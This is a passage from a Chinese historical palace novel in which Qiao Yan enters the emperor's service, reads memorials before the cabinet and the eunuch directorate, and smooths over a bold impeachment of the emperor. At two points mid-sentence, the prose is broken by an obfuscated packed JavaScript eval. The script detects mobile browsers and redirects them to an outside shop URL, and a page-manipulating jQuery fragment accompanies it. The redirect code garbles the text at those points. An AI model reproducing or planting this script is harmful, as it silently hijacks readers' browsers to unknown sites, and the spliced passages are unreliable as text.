冯忱本就年迈，又在诏狱吃了很多苦头，生受了这一鞭，竟直接扑倒在地，口吐黑血，气息奄奄。 “不要！”冯矩跪行挡在冯忱跟前，泪眼模糊。 忽然被人拽住了袖口。 冯矩茫然回首，只见冯忱死死地盯着他，不肯咽下最后一口气：“还……咳咳，不……改口……” 冯矩阖眼，心里一片荒凉，慢慢低下头，以首触地。 “老师。” 这一声“老师”喊过，他便再无冤屈可诉。 今日亲眼看着至亲人头落地，那一刻，他知道，无论有再多苦衷，无论别人如何评判，他都是有罪之人。 “乔姑娘，你该回去了。” 冯矩避而不谈乔燕方才的话，甚至添一份疏离，以一种温和但强势的态度，拒人于千里之外。 乔燕有些咋舌。 从前便知，如冯矩这般道德感很高的君子，很难展现出攻击性，但如今方知，原来他心里自有一堵以沉默铸就的巍峨城墙。他的难堪，他的冤屈，他的尊严，都被锁在城墙那头，不让世人窥见。 也不知为何，乔燕自从得知即将入宫而产生的怨愤慢慢淡去了。 “二郎，我明日入宫。” 冯矩身形一僵。 “大伯和二哥都被东厂抓走了，焉知乔家会不会是下一个冯家，如今能寻摸到让我进宫的路子，或许是圣人给的最后一条活路。” 乔家与冯家同气连枝，冯家出事，乔家必然会受牵连。冯矩心如刀割，嘴唇动了动，最后只挤出三个字，“对不住……” “对不住什么？” “都是我误了你的婚事，如果你早早嫁个好人家……” “从前你为恩师守孝，再加上一心备考，我甘愿等你三年。后来我为祖母守孝，换你等我三年。二郎，你我自觉自愿，何来耽误之说。你不要再说这样的话了，好像从前的一切，都变得不值了一样。” 乔燕疾步走到他身前，仰着脸，对他微微一笑：“午时我在台下看你，觉得你好像不想活了。冯二郎，今后我会走我的路，再难走也会走下去，希望你也是。” 4. 面圣 白天下了一场雨，路上人迹渺茫，一辆马车悄悄地驶向皇城。 乔府曾经也有着三世同朝的煊赫过去，有任皇帝赐了套废弃的王府，就在正阳门内西侧的大时雍坊，顶清贵的地段儿，与皇城挨得很近，顺着棋盘街，过大齐门，就到了承天门前。 金水桥头，宜婵先跳下马车，掀开车帘。一名内侍装扮的人走过来，跪伏于地上。 乔家清贵，从没用过人凳。乔燕探出半个身子，只迟疑了一瞬，就提着裙子踩上他的背，稳稳地落在地上。 车旁候着两名太监，乔燕眼风从他们身上扫过，望向眼前的皇城。 这座崭新的皇城是齐朝迁都北京后所建，城墙高三丈，在远处看时只觉巍峨，只有到宫墙下，方能让人觉知自己的渺小。 这一天是文景四十年间，一个极其寻常的夏日。 “姑娘登轿吧。” 青衣太监说着，撑开一柄天青绘兰的油纸伞，举到乔燕头顶遮阳。 乔燕点点头，才提上裙角，忽闻身后马蹄疾驰。 侍卫纷纷去拦，骏马嘶鸣。 “五娘！” 乔燕心中一颤，将将回首，被乔翀死死拽住手腕。 “跟四哥回家。” 乔翀性情耿直，又与这个妹妹感情最好，是以乔家为免多生事端，此事一直瞒着他，直到乔燕出门之后一刻方从说漏嘴的下人嘴里知晓。乔翀骑马夺门而出的时候，乔三郎乔均就在旁边，不得已跟着冲出来，落后一步气喘吁吁地赶到。 下了马，他恨不得给这个不着调的弟弟一巴掌。 “乔翀！你除了会说些漂亮话你还能干什么！！” 乔翀红了眼：“我至少不会把妹妹推入火坑！” “你！”乔均气得嘴唇直哆嗦，火气冲上心肝，指着他道，“好啊，那你带她回家！你敢吗！” “正有此意！” 乔均要被这个堂弟气死了，碍于在宫门前，有些话不敢说。 却是一旁的乔燕盯着眼前宽厚的手掌，释然一笑。她握住这只手，将其缓缓往回推。 “四哥，你的心意我领了……” 乔翀不意她竟不肯，一怔之后反手握住她：“跟哥哥回去！” “我不能回，四哥想来没有把事情听完，此事早已过了圣上的眼，我若回家，就是欺君。圣上仁善，宫里岂是火坑，我们都知道四哥是挂念妹妹，一时冲动口不择言，但如果被不知情的人听去，何止是大不敬的罪，你以后说话要注意分寸……我入宫享福去了，四哥，你若是挂念我，不妨好好读书，成为我身后的依靠。” 她最后用力一推，那只大手愣愣地悬在半空，久久回不过神。 乔燕乘小轿，入承天门，过端门，走过六科直房，又午门。 一道道城墙，一道道宫门，像一把把锁，把人困在四四方方的天地里。 轿子忽而向西，穿过归极门，看前行的方向，并非东西六宫，而是西华门。 “唐公公，我能问一下，这是要去哪儿么？”轿子里乔燕问道。 帘子外传来唐公公尖细和善的声音：“乔娘子，咱们要去西苑，圣上在那儿等您呢。” 西苑在宫城的西侧。昔年一场大火将大半个宫城烧毁，先帝在西苑驻跸三载，那儿也因此修的富丽堂皇，仙气飘飘，不似人间。 及至当今圣上登极，一心修道，在西苑的北海子建了一座问天观，养了许多道士，干脆就住在了西苑里。除了大朝会，几乎不去宫城了。 说着话，也不知经过了哪儿，轿身颠簸了一下。 车帘晃动，透出些许外面的光景，乔燕看到一片白玉石铺成的空墀，玉墀之上是宽阔的台基，再上有一座恢弘的殿宇。 她抓住车帘，想看得仔细些。唐直抒在轿子外瞧见，体谅她初次来此，好心介绍：“那儿是戏文里常说的金銮殿，皇极殿，廷议之所。您看那玉墀，上面每隔数步立着一块石碑，离得远看不清，石碑上刻着品级。” 若逢大朝会，所有的京官就会持笏立于石碑旁，如有圣令，则有随堂太监从玉陛而下，传令于殿前。 乔燕的思绪随着他的话慢慢飘远。 她很想见一见那一幕。 有些念头起就心念一动的事，不会受人的意志而转移。尽管知道不合适，可这一瞬乔燕还是想起了—— 若是参加大朝会的冯矩，不知会站在哪一排哪一列，戴二梁冠，绶三色带，一身正红朝服，持笏而立。寒冬酷暑，春去秋来，四季的风吹过衣角，一年一年。 想到这里，乔燕的眼前忽又浮现出前一日夜里，正阳门外的市口，冯矩为祖父殓尸，步履迟缓，月光落了满身霜雪。 每每想起这一幕，她的心里都会生出一阵阵的刺痛感，是悲哀，怜惜，还有她心里那丝丝缕缕，如春日含苞的少女情怀，初初绽开，便零落了。那是一种无法言说的感受，不浓烈也不灼人，只有后韵绵长的疼痛，始终萦绕在心怀。 可一想到身后的乔家，这丝悲春伤秋又转化为了自愧，她觉得自己哪怕只是想一想冯矩，都是一种对乔家的不贞与背叛。 乔燕叹了一口气，匆匆落下车帘。 西苑最令人瞩目的便是太液池，水域面积广阔，有一座天然小岛，迁都后有任皇帝在其上建广寒宫，本以为已极尽穷奢之事，孰料谁都没有后来的悼帝会享受—— 悼帝继位后，将太液池的两个海子扩建成三个，填平水面、砌筑团城，新建大小殿宇十余所。 这位先帝即位短短十数年，将国库挥霍一空，前人苦心经营的王朝就此开始走下坡路。气得当时的内阁首辅在他崩后，替他写了一篇罪己遗诏，骂了足足两页纸，众臣更是众口一心地为他定下“悼”这个谥号以泄心头之愤。也算是齐史上的一朵奇葩。 此刻乔燕乘坐的步舆便走在这位悼帝修建的白玉石桥上，两侧是波光粼粼的水面。石桥尽头有一座绿树葱茏的岛，岛上朱甍碧瓦，峰峦隐映，远远看去便是比起宫城也不逊色。 轿子停在一座单檐庑殿顶的宫殿跟前，乔燕钻出轿门，一抬头，看到中央挂着一块黄剪边的牌匾，上书气宇轩昂的“洗心”二字，垂脊上立着一排走兽，没等她数清，一名长眼圆脸的太监已小跑着到了跟前。 “奴婢董治，请问可是乔家五娘？” 入宫前乔父乔母和几位兄长给乔燕讲了许多宫里的事，这个名字乔燕有所耳闻，正是董玉莲最得宠的干儿子，董玉莲迁东厂提督后，他代监司礼监，宫里宫外勉强算个人物。 乔燕还不是宫里的主子，不敢受董治的全礼，就侧过身，受了一半，又回了一礼。 “是我。五娘见过小董公公。” “昨儿便得圣上吩咐，西苑要来一位贵人，是昔年先贵妃的侄女儿，想来也是天仙一般的人儿，奴婢岂敢怠慢，一早便在这候着……” 说着说着，董治抬起头，一腔话忽然忘在喉头。 乔燕含笑说着场面话：“这么晒的日头，有劳公公久等了。” 董治不敢再看，低下头，解释自己方才的失态：“奴婢没见过像乔姑娘这般的仙姿，一时惊为天人，有所冒犯，还望姑娘海涵。” 方才是客套，这一席却是实打实的真心话。这位乔姑娘姿容出众，满宫上下，不，怕是整个京城也无人可比拟。 和她的那位早逝的贵妃姑姑极像，正是文景帝十五年前最钟爱的那一类。 想到这里，董治在心里不由打了个鼓儿，回头得把这事儿跟干爹说道说道，乔家说不得能因祸得福，借此更上一层楼。 “公公客气了。不知我何时能见到圣上？” 董治忙道：“圣上就在里头，姑娘这边请。” 这一路应对的再得体，乔燕也还是第一次直面天子，下意识看向唐直抒。 唐直抒安抚道：“这位是司礼监的代掌印，姑娘跟他去就行了。面圣的礼仪都教给姑娘了，不必紧张，圣上最是仁善不过。” 乔燕很难不紧张：“您，您不进去吗？” “今儿咱家不随侍，司里还有事，咱家耽误不了太久，就要回了。” 乔燕张了张嘴，面上露出一丝无措，但是事情总要面对……她深呼吸一口气，跟着董治踏入殿门。 洗心殿面阔九间，殿中立着四根金柱，正前方的须弥座上摆着一鼎足有两人高的大香炉，边上候着两个总角道童，时刻盯着香火。须弥座下左右各摆着四张长而阔的木案，案后无人，案上也空荡荡的。 东西方向各有一小门，乔燕跟着董治入了东边小门，还没看清陈设，眼风已扫过一道杏黄的身影。 她心跳陡然加快，跪地叩拜，头深深地低了下去。 “臣女乔燕，问圣上安。” “起来吧。头抬起来，让朕瞧瞧。” 头顶传来的声音中正平和，既不过分和蔼，也不外露威严，与想象中相差甚远。 乔燕深吸一口气，抬起头，眼睛尽量看向下方，尽管如此，余光还是看到了皇帝，这个王朝最尊贵的人。 当时年号文景，是称“文景帝”。 文景帝身形瘦高，穿着一件黄色道袍，鬓发斑白，也许是长年累月的案牍劳形的缘故，看上去比实际年纪要老许多。 文景帝此刻手中提着一只粗杆紫毫的毛笔，只瞥了她一眼，便又将注意力落在了笔下那副快成型的水墨画上。 “多大了？” “回圣上，臣女今年二十有二。” 文景帝问的和蔼，乔燕却不敢有丝毫懈怠，恨不能每一根头发丝都在规矩之处。 文景帝有些讶异，看了她第二眼。 “二十二了还未许人吗？” 乔燕一顿，不敢欺君，小心地道：“曾经有人相看，不过还未过庚帖，后来臣女祖母去世，守孝三年，婚事就……作废了。” “唔，是冯忱的孙子吧。” 文景帝随口一提似的话语，却吓得乔燕慌忙跪地：“臣女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996280|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前与他也不曾有过几个照面，对其并不了解，婚约不过是父母之命。” “怎么又跪了，起来吧，怕什么，”文景帝轻描淡写地转开话题，“朕记得先贵妃还在世的时候，有一回朕去她宫里，正好遇到乔老夫人带着你探亲，那会儿你才一丁点大，不仅瘦，而且怕生，见到朕也不行礼，就躲到先贵妃的身后。那会儿你多大？八岁还是九岁？” “那时候臣女已经十三岁了，臣女在姑苏长到十三岁才回京，小时候挑食，吃得少，所以看起来格外瘦小。” “挑食可不好。” 乔燕斟酌语气：“圣上教训的是。” 这番对答实在有些木讷，令人扫兴，文景帝眉梢微挑，提笔蘸墨，没有再出声。乔燕不敢兀自开口，只一直垂头站着，满脑子胡思乱想。 也不知过了多久，听文景帝问：“朕画的怎么样？” 乔燕骤然回神，这才发现董治不知何时离开了，屋子里只剩她和皇帝二人。 文景帝注视着她，老态的眼中不见丝毫浑浊，沉沉如大山压下，乔燕更觉紧张，连呼吸都比往日急促几分。 “臣，臣女不太懂书画，言语若有不当之处，还请您恕罪。” 文景帝微微皱眉：“朕不喜吞吞吐吐之人，既然如此就不必说了。” 话中索然兴味甚厚，乔燕心知自己怕是搞砸了，一时惴惴。 她怕文景帝不喜，更怕文景帝让她回家。 “朕修道以来，持戒净心，是看在先贵妃的面子上才见你一面，不想你的性子和先贵妃很不相同。” 天色晦暗，文景帝语调平静，听不出喜怒，话中的失望之意却很明显。 乔燕天塌地陷，面如死灰。 许是因为不再抱有期待，反而恢复了半成冷静，勉强找回往日在外应酬的对答水准：“世上难有相似之人，臣女若假借姑姑行止以期您的垂怜，那不仅是对逝者的不敬，更是对您不诚。” 她站在那，头微微低垂，头发全部上挽，露出一段修长白皙的脖颈，像从江南烟雨里抽出的柳条，纤细柔韧。 这样的美人，似乎天生便该被捧在掌心，藏在屋里，既狎且敬。 文景帝神情淡淡地俯视，审视着，许久后才在她越来越战栗的神色里开口：“乔家书香传世，识字罢？” “识得一些。” “罢了。” “不止一些，”乔燕听音识意，一转口风，鼓着勇气自我吹嘘，“臣女回府后一直跟在族兄弟后边随府上先生读书，后来母亲也有为我单独延师，虽没有到悉览世载之文的地步，读的书也不算少。” 在文景帝这样的人眼里，她的勇气也有种稚嫩——这样的女儿，乔家怎么就觉得送进宫能讨人欢心的？ 文景帝忽觉好笑，也确实笑了起来，多说了两句：“朕年纪大了，耳目渐昏，有时候看奏疏久了，就会眼花，便叫奴婢们念着听。但这些东西诘屈聱牙，他们读得磕磕绊绊，时常错字漏字，听着令人心烦。你来的正巧，就留在朕身边，给朕磨磨墨、念念文书——能做好吗？” 不想竟有此峰回路转，乔燕大喜过望，脱口而出：“能！” “既跟着朕，朕便不会亏待你，回头封你个贵人，在宫里是个正经主子，架子得端起来，不可堕了天家脸面。” “谢圣上恩。” 文景帝懒得再跟她说话，摆了摆手：“下去吧。” 乔燕行了跪礼，犹豫片刻，一咬牙，问道：“臣女的大伯和二哥如今尚在诏狱，不知……” 文景帝深看她一眼，反问：“朕留你的原因，你明白吗？” 乔燕并不笨，入宫前，父兄曾彻夜给她分析过朝中局势。 父兄在朝多年，未必不知文景帝早已“持戒静心”，不近女色，还是送她入宫，是乔家递出的臣服的讯号。文景帝留她，就是有意施恩。 近年内阁官员变动尤为频繁，短短半载便换了三任首辅，与之相对的，是内廷日渐猖狂的态势。 当初设立东厂和司礼监，是为了制衡内阁。东厂与司礼监同属内廷，又互相掣肘。三方角力，朝堂太平。可如今董党将两个衙门全都攥在手里，俨然有一手遮天之能，皇帝难免不会忌惮。 乔家起复的势头，或许远不止于此。 这一刻，她更是福至心灵地意识到，文景帝此刻要的并不是她的回答，文景帝要的，是乔家的回答。 “妾明白，妾相信家中长辈与兄长亦明白。” 文景帝露出见面后的第一抹满意的神色——这个乔氏虽然木讷，但内有智慧。 “乔家两位能臣是朕的股肱之臣，这其中想必有误会，朕会着董大伴查清楚。只不过你要明白，你们乔家与冯家素来走得近，冯家之案，你们家有包庇之疑，在脏银查出之前，乔阁臣要避嫌。” “是。” “至于你二哥，朕记得他是文景三十五年的庶吉士，一直在翰林历练，牵涉不大，就继续做之前的事吧。” 5. 开端 天边刚泛起鱼肚白，一顶两人抬的步舆已经停在了朱红铜门的外头。 除了抬轿的两名粗使内侍，另有一个青衣太监随行。青衣太监上前两步，踩上门前踏跺，扣响黄铜铺首。 没等多久，门开了，青衣太监袖着手，站在低一阶的地方，微仰着头，和气地问道：“乔姑娘呢？” “咱们姑娘就来了，劳小金公公您等一会儿。” 这道门后住着新进宫的主子，乔燕。乔燕这次入宫只带了一个贴身的奴婢，如果是宫里正经的娘娘，自有尚宫局按例补上宫人，但尴尬就尴尬在乔燕尚未上玉牒，只能算半个主子，宫人们遇上了，也只能客客气气地称一声“姑娘”。 好在唐直抒行事周全，就在昨晚，他亲自送来四个奴婢，太监和宫女各两名。此刻应门的太监就是其中一个，叫做于海，昨夜正是他临时当值。 于海说完话后，不一会儿，一行人从门后步道上走来。青衣太监精神振奋，含胸弓腰拱手，笑起来脸上有一对酒窝，看起来十分讨喜。 “乔姑娘，奴婢是洗心殿的人，奉旨接您过去。” 这一去，乔燕要当着一众内阁阁老和司礼监大太监的面念奏疏。 自回到乔家后，乔燕受闺训日久，已记不清上回在人前抛头露面是何时。一想到今日要在众多响当当的人物面前不漏怯，她就心里发怵，为此一夜没有睡好，脂粉也遮不住眼底的青色。 横竖躲不过去，乔燕深呼吸了一口气，毅然伸出头准备挨这一刀。 “走吧。” 洗心殿外，一顶步舆晃晃悠悠地自西边而来，步舆上坐着一名须发尽白的老臣，头戴七梁冠，身穿绯色圆领官袍，胸前绣着白鹤补子，腰系白玉带子。 这是自冯忱去世、乔广川被羁之后，内阁里顶上来的新首辅束继文。 说来可怜，半年前内阁就在政斗里去了一人，尚来不及补上缺，如今又失两位阁员，下头的依次递补上来，就是首辅束继文和次辅温却疾——整个内阁也只剩下了他二人。 今日议事，两位阁老本都该到场，但温次辅前日感染风寒，在家休养，尚未痊愈回来。 两名较为年轻的翰林院官员早就等在了殿外，见到步舆，忙上前一步，一左一右地伸出手。 “老师。” “元辅。” 束继文站稳了，点了点头，松开他们的手，整襟正冠，昂首阔步走进了大殿。 殿里摆着两排木案，束继文在左上首坐下，待他坐下后，另两人才在下首坐下。 此时其他人还没有来，空旷的殿内燃着明灯，偶有荜拨声炸响，更衬得四下幽寂。 “老师，我听说，今天有个娘娘要来。”一位年轻官员轻声道。 另一人吓了一跳：“你从哪儿听说的，我怎么不知道？” “圣上眼睛不大好，之前都让太监念文书，但是念得磕磕绊绊，听得烦躁。这回乔家送了个知书达理的姑娘入宫，圣上就让她来念奏疏。” 此言一出，旁边的官员不由也默了一瞬，叹道：“乔家也是难做……但圣上把人带过来，到底是什么意思？元辅，如果圣上当真带女眷过来，我们要谏吗？” 一瞬间，四只眼睛都落在了闭目养神的束继文身上。 束继文眼睛不睁，冷声道：“按理来说，圣上的家事我们无权过问，但既然来了洗心殿，就不仅是家事，更是国事。” 就知道新的首辅是这么个一成不变的性子。最初提起这事的官员劝道：“老师，说句心里话，我觉得不妥，虽说‘理’不可废，但如果这也要谏，那也要谏，每天都争论在鸡毛蒜皮的小事上，真正为百姓做的实事能有多少。别忘了，我们今儿要让圣上在修缮皇陵的拨款上再节省一点，要是纠缠在一个女眷身上，岂非本末倒置。” 束继文深深皱起了眉。 见他有所动摇，官员再接再厉：“要我看，这事儿先观察观察，如果乔氏只念字，不参议国事，那我们就没必要在这上面大做文章了，只当是和从前念字的奴婢一样便好。” 没等束继文表态，大门外陆续进来两人，是两名起居舍人，一左一右坐在末端。没过一会儿，又进来三个太监，为首的正是司礼监代掌印董治，他们走到右边的长案后，董治只坐在第二席上，其余人坐在下首，将首座空了出来。 这就是平常日子里陪皇帝批阅公文的全部班底了。 因时间在每日清晨，所以大家私底下都称之为“晨议”。晨议时间短，只能挑要紧的事情商议，至于什么事情才称得上紧要——本朝奏疏全部都先由内阁做好批复建议，送到文书房，司礼监将其分类，一部分自行批红，分发六科，另一部分驳回的题本，便在晨议上拿出来商议，由皇帝裁决。 人到齐后反而没有人开口说话，一时安静下来。 金色的阳光悄无声息地攀上廊柱，东边侧门后终于传一阵窸窣声。随着一声嘹亮的唱喏，在场的八人全部站了起来，朝向小门，垂下头。 文景帝在董玉莲和一位年轻女子的搀扶下走了进来。 须弥座上置一香炉，龙椅在香炉后。那香炉本有两人高，文景帝坐下后，就将他和众人彻底隔了开来，只能透过镂空的地方，隐约看到一丝人影。 八人下跪，三呼万岁。 乔燕站在文景帝的右前方，侧过身，避开了他们的礼。 “都坐，”文景帝道，“现在议事。乔氏。” 束继文微微抬头，皱着眉，到底没说什么。旁边的官员悄悄松了口气。 乔燕接过随堂太监递来的题本，无声地深吸一口气，事到临头，她反而镇定下来，从第一个字娓娓读来。 这是一份工部上奏的题本。 去年夏日，暴雨泛滥，天寿山的皇陵坍塌，京中一时流言四起。文景帝怒不可遏，砍了一批参与营建皇陵的大臣，并拨了八十万的款项再修皇陵。但如今皇陵修到一半，银子却不够了，于是工部几位堂官部议之后，想再追加五十万两白银。 修皇陵对文景帝来说是头等大事，一口应下。 束继文下首的两名文官对视了一眼，一人起身道：“先惠帝新建皇陵，逾百十里，历时八载，银两以计，不过一百一十万。恕臣直言，这次不过是灾后修葺，工部的胃口未免也太大了。” 文景帝显然不悦了起来，反过来则问道：“今日议户部的事，次辅怎么没来？若是管不来户部，那朕看他这个户部尚书也做到头了。” 下首的文官答道：“回圣上，温阁老抱恙在身，已递奏呈请过假。” “这病的时候可真巧。” 文官们无奈地对视一眼。其实心里也颇有微词，温却疾入阁后亲眼看到前头的阁员接二连三地出事，好像被吓破了胆，日渐圆滑唯诺，人云亦云，问到他头上要么“元辅说的是”，要么“我也不敢妄下定论，有赖诸位同僚商讨”，若是遇事，则抱恙在家，推诿却责——这已是今年第五次了。 文景帝还在说：“朕躬身碌事半生，从未大兴土木，不过想修一个好一点的皇陵罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996281|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 当今皇帝确实未曾兴建什么宫殿，但虔诚修道，每年光在祭祀上的开销就够户部头疼了。 只是文景帝话都说到了这个份上，翰林院官员没有继续自讨没趣，他焦急地瞥向门口，好在，会极门的太监不负所望地出现在了他的视野里。 “什么事？”董治压低嗓子喝问。 “户部左侍郎刘允请求陛见。” 户部侍郎亲自来了，看来今日这事又要扯皮。文景帝脸色变得不太好看：“让他进来。” 太监下去传话，没多久，刘侍郎步履匆匆地走了过来。 他确实是为皇陵拨款一事而来，而且憋着一肚子火。本来两浙的盐运司能有一笔二百万的进款，但随着冯家公案的无疾而终，这笔银子好像也跟着消失了。今年才过了一半，国库已然赤字，连皇帝内帑的钱都给不上，就这样工部还要银子，他们整天只知道哭穷要钱，却也不想一想哪里还有钱给他们！ 刘允这番前来心态十分光棍——反正户部没银子，皇帝如果想拿钱修皇陵，那您从自己的内帑掏吧！ “国库怎么会这么快就空了！”文景帝忍不住道，“冯家贪墨案的二百万两呢，到现在还没找到吗？” 说到这儿，就牵扯到了东厂。董玉莲不得不答话：“冯家案子虽结，但涉事人员至今未曾道出脏银所在，微臣还在查。” 一直不言的束继文冷笑一声：“据我所知，冯家人一直到法场都未曾承认贪下这笔银子，这根本就是一笔糊涂账，凭空少的二百万两，也不知到底去了哪。” 董玉莲眯起眼：“束阁老，你这话的意思是在质疑圣上的裁断吗？” 束继文淡道：“冯家案子是你东厂查的，若有差池也是圣上受了小人蒙蔽。” 内廷代表着皇帝的脸面，束继文和董玉莲争，便是内阁和皇帝在争，文景帝听了自然不快。但此事内廷确实显露了私心，文景帝一想到就寒心不已。 不知何时，锦衣卫被东厂压得抬不起头，完全成了东厂的下属衙门。若不是锦衣卫指挥使是宗室子弟，偷偷入宫密报，还真不知道原来董玉莲私下跟赵王来往密切，和淮党更是关联颇深。 一条狗，若是认不清主子，朝外面的人摇尾巴，那离死也就不远了。 他心中越是不快，脸上反而越显平静。 “好了。” 两人这才住了嘴。 文景帝面无表情：“这笔钱总有个去处，没有查出来那就继续查，东厂查不出来，让锦衣卫帮你们查。不管怎么样，在雨季之前，朕要见到这笔银子。至于工部上奏的事，自然批准，户部不得推诿。” 君臣之间的拉锯已然与乔燕无关，她眼观鼻鼻观心地站着，努力淡出自己的存在感。 今天晨议颇费了时候，议会结束，文景帝没有留饭，乔燕饿着肚子回到住处已经过了午时一刻。 幸而天气热，尚食局送来的午食还冒着热气，就是汤水都糊在了一处，滋味不甚好。乔燕勉强吃了点，只觉不饿了，就叫撤了下去。 说来也巧，尚食局的女使刚走，尚宫局、司礼监的人就来了，两方还在门口打了个照面。 司礼监此行带了圣旨，大意是乔燕表现上佳，甚得圣心，封为贵人。尚宫局补全了乔贵人身边的宫人和一应份例。 就这样，乔贵人的深宫生活拉开了帷幕。 从紧张到习惯，从初来乍到到安之泰然，乔燕每天朝出午回，下午足不出户，对皇城的印象，几乎全在那一间威严的殿室里。 6. 进言 七月初三这天，乔燕入宫已有二十余天。天色蒙蒙亮之际，乔燕一如既往地站在御前，接过文书——这是今早会极门送来的奏本。 翻开首页，才看了一行字，乔燕脸色陡变，跪于地，双手捧着文书举过头顶。 “圣上恕罪。” 文景帝一手撑着头，纵使看见了她惶恐的情态，却不动声色：“嗯？这是怎么了？” “这篇奏本，妾不敢读。” 香炉里的烟气不歇，一缕一缕悠悠升起，像灰白色的叹息。 “读。” 乔燕又惊又惧。 看文景帝神情，似乎早已知晓奏疏的内容。那还要她读，是读给谁听的呢？ 文景帝严厉地看了过来。 “是。” 乔燕不敢起身，就着跪的姿势，深吸一口气，硬着头皮读了出来： “臣南京国子监司业何舂谨奏……” 这是一本弹劾人的奏疏，用词十分讲究，通篇引经据典，不见脏话，却通篇都在骂人，简直骂得那人猪狗不如，恨不能立马转世投胎重新做人。 无疑是一篇很好的劾文。 如果被弹劾的那人不是当今皇帝的话。 当朝以言留名，满朝官员，上到一品首辅，下到九品侍诏，谁手下没写过几十本劾文？谁身上没背着几十本劾文？抢占良田要劾，娶丧不宜要劾，就连路边放个屁、脱个鞋也要劾个失态失仪。谁哪天没东西上奏了，就写个劾本，往上一递，两袖清风，一身正气。 但据乔燕所知，当朝文官自诩清流，却也从未有人弹劾皇帝。 骂是骂痛快了，然后呢？皇帝乐意看到这篇文章吗？会乐意别人看到这篇文章吗？ 乔燕从没觉得自己的脖子离铡刀如此近过。 这位何舂，可真是个勇士。 时间过得再漫长，也终有读完的时候。最后一个字落下，乔燕战战兢兢，就着跪地的姿势一动也不敢动。 “依何舂所言，朕罪大恶极，诸位看，该怎么处置朕这个罪人呢？” 一派阗寂里，文景帝幽幽地开了口。 束继文脸色难看至极。 何舂是已故冯忱的学生，亦是束继文看好的后生之一，想是因老师蒙冤，内心愤懑之下才写下这篇慷慨之辞。 冯忱故去前，曾有意栽培这位学生，北京朝堂正是多事之秋，冯忱为了保学生平安，将其下放到南京的国子监，后来就……天人两隔了。 当朝官员上呈的文书有两种，一种是例行公事的“题本”，第二种就是陈私事的“奏本”，劾文就属于“奏本”的一种。 北直隶的官员想要呈奏本很简单，本人送到会极门就行，但北京之外的官员就要繁琐许多，他们的奏本要先和题本一起交到通政司，其中奏本会送到司礼监的文书房，最后由司礼监的太监在晨议之前上交给皇帝。 这样大逆不道的弹劾奏本，一直到乔燕当廷念出来内阁才知道，可见通政司有人特意避开了内阁的耳目。 很显然，司礼监进一步党同伐异，要向何舂下手了。 束继文面无表情地坐着，暂时没有开口的意思。 司礼监代掌印董治道：“微臣听来，这奏疏里多泄愤之言，何舂对圣上心怀怨怼，就是对大齐心怀怨怼；退一步来说，这样在奏本里夹带私人恩怨的人，放在朝廷上也不合适。” 就算以束继文的眼光来看，何舂这篇压上性命的文章，也确实太莽撞了。可是事已至此，他还是要尽力保一把。 “《齐太祖训》立下规定，当朝不以言获罪，内阁和司礼监协理政务这么多年，从未有一本劾文拿到晨议上说。今日这事，许是文书房弄错了。” 董治冷笑一声，慢悠悠地道：“圣上乃天子，一国气运之所在，岂能相提并论。若开了这个头，日后难不成谁心里有气，都能拿圣上说两句？要奴婢说，为此召九卿开廷议都不为过！” 束继文身边的翰林院官员笑道：“代掌印这话不对，我们聚在这，哪一次不是就事论事，不要扯到‘日后’还没发生的事情上。既然不知道该怎么定夺，不妨看看先例。西汉汲长孺、唐朝魏玄成、前朝包希仁，哪一位不是名垂千古的诤臣。王臣謇謇，匪躬之故，何错有之。” 束继文淡道：“圣上裁夺。” 此言一出，董治就不好继续辩了。带着几分期待地看向香炉，仿佛能透过它看到后面的帝王。 文景帝眼睛不睁，脸上没什么表情，心里却着实恼火。再大度之人被这样指着鼻子都难忍恶气，更何况他根本算不上大度之人，特意将这奏本在晨议上拎出来，是为了杀杀文官的威风，出一口气。可祖训确实有“不以言获罪”，他再怎么动怒，也不能明白地表现出来，否则堂下中书舍人的笔下，就该记载“圣上失德”，流传千古了。 文景帝原本指望着司礼监替他发声，如今却是失望不已。 殿中十分安静，只闻粗重的喘息，过了许久，出乎所有人的意料，文景帝点了一个名字：“乔氏，你觉得呢？” 这是此前一个月都没有发生的事，束继文眉头一竖，就要开口，被身边的官员拉住。一片寂静里，那位官员极小声地说道：“还要救人，让一回罢。” 束继文僵在原地，叹了口气，肩膀一时委顿了下去。 另一边，乔燕还跪着没有起，不曾想到这把火竟会烧到自己身上，只是皇帝发问，不敢不答。 这个何舂有内阁作保，加上祖训，不论文景帝心里是如何想的，今日都治不了他，只是如今被架在高处，为保颜面，难以下台，既然如此，不如给皇帝搭个梯子。 一念转过，乔燕垂着头，恭谨地道：“妾身恭喜圣上。” 文景帝睁开眼。 只听乔燕柔声道：“一国之事，百姓之意，唯有言路通畅，方能上达天听。如今朝廷广开言事之路，臣子敢犯颜直谏，正是政治清明、圣主治世的象征。妾恭喜圣上，得海晏河清，开一代盛世。” 文景帝眉梢一挑，有些意外。 “若非这个奏本，朕还不知自己竟有这么多不足之处，司礼监拿给朕看，朕也给你们看个乐子。” 听到这里，董治脸上的期待消失的无影无踪，甚至带上了几分惶惶然。他下意识抬起头寻人，待看到香炉的左边空无一人，才想起今日董玉莲有事不在宫中。 “乔氏说得对，广开言路是好事，但是，”文景帝忽然沉了语气，给这份奏本下了结语，“朝置谏官以匡大理，朕希望呈上来的奏疏，都言之有物，补阙拾遗。不要写一些置气之言、迂阔之论！” 